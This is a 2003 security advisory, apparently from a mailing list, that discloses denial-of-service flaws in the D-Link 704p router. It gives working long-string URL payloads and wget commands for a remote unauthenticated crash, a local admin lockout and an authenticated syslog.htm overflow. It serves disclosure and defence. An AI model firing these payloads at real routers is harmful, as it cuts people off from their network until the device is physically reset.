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D-Link 704p Broadband Router Remote / Local DoS
From: chris <chris () cr-secure net>
Date: 6 Aug 2003 19:42:48 -0000



02 August 2003

Hardware: D-Link 704p
Vulnerability: Multiple Local/Remote (see below)
Warning Level: Moderate

Description:

This small advisory is on the D-Link 704p router with firmware version 
2.70. The router is a small 4 port DSL/CABLE router. Earlier this year I 
made a small post on BUGTRAQ about the routers inability to handle local 
long string URL's, those bugs and a -NEW REMOTE DoS- are included in this 
advisory. I believe nessus even has a plugin for those small URL attacks. 
I did notify D-Link and got no response :-/

Yes this type of vulnerability isnt a high risk factor, but its irritating 
to see how easily this device can be manipulated. This advisory has to do 
with its inability to handle long string URL attacks from an unauthorized 
and authorized user in multiple instances. These attacks are most likely 
successful on other D-Link routers as well, provided their firmware is 
based off the same core code. All of these attacks are based off the same 
trailing URL string (continous A's), just injected in a different method.
(URL's may not be formatted properly in this window)
Attacks:

#1.Un-Authorized Remote DoS

704p can be configured to be remotely administered on a given port by a 
given IP address. Goto the tools tab and look down the bottom. If you 
leave this IP field blank as 0.0.0.0 any host can administer the device. I 
choose port 8080.

Thanks to my friend Scott we successfully DoS the router with one simple 
URL. I had a constant ping to google setup 'ping -t google.com'. It 
dropped the moment scott clicked the URL I had sent him in an IM and I 
lost all internet connectivity.

http://68.x.x.x:8080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA

The number of A's may vary from browser to browser, you can input more 
from a program like wget in linux.
wget http://68.x.x.x/AAAA (and so on for as long as you like.)

The router is useless until physically reset by unplugging the power cord.


#2. Local PW Change DoS

 Slightly changing the URL above from a local machine, The routers 
administration page can be rendered unreachable until the machine is 
physically rebooted. 

wget 
http://192.168.0.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA

Then point your browser to 192.168.0.1 (or whatever your gateway IP 
address is set to). You will be prompted to enter your password. You can 
enter your correct password all you like, until the device is rebooted 
physically by unplugging the power cord you will not be able to 
authenticate.

#3. Local Configuration DoS / DNS Lookup

wget --http-user=admin --http-passwd=password 
http://192.168.0.1/syslog.htm?
D=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA

This was tested and in some instances the routers configuration page 
becomes unreachable if sent to many times, and oddly enough the router 
performs a DNS lookup on 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA () xxxx xx comcast net
(amount of A's vary depending on the URL you used to send the device)

After inserting the above long URL into your router, point your browser to 
your configuration page. Sometimes the page is still reachable and your 
configuration page will look like a bunch of repeating frames and you have 
to reset the device in order to fix it.

Comments:

My guess is the long string URL's cause the device to overflow at some 
point. I am at best an intermediate programmer, with no access to the code 
of the firmware, so don't ask me. All I know is my device is no longer 
setup for remote administration. I sent a copy of this to D-Link on 
Saturday August 02 2003 (no response). Thanks!


chris () cr-secure net
www.cr-secure.net


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